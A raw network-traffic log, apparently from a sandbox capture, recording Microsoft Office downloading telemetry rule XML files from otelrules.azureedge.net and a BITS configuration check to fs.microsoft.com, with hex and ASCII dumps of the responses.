2024-11-20 16:41:56 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:56 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164156Z-185f5d8b95cdh56ghC1NYCk1x400000004cg0000000074cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:41:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:56 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164156Z-185f5d8b95c96jn4hC1NYCbgp80000000ag000000000h0y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164156Z-1777c6cb754xrr98hC1TEB3kag00000009mg00000000sd2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164156Z-185f5d8b95crl6swhC1NYC3ueg0000000aq0000000007rs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:57 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:56 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:57 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164157Z-r1d97b99577ckpmjhC1TEBrzs0000000094g00000000dwe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:57 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:58 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164158Z-185f5d8b95cp7lkfhC1NYC7rpw0000000am000000000qbyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164159Z-1777c6cb754gc8g6hC1TEB966c00000009vg00000000cm3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:59 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164159Z-r1d97b995774n5h6hC1TEBvf84000000096g00000000080q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164159Z-185f5d8b95cf7qddhC1NYC66an0000000ae00000000139cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:59 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164159Z-185f5d8b95c95vpshC1NYC759c0000000agg00000000cb96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:41:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49812	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 16:42:01 UTC	464	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=239 Date: Wed, 20 Nov 2024 16:42:01 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:01 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164201Z-1777c6cb754g9zd5hC1TEBfvpw00000009zg00000000f7ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:01 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:01 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164201Z-185f5d8b95c96jn4hC1NYCbgp80000000agg00000000ceew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
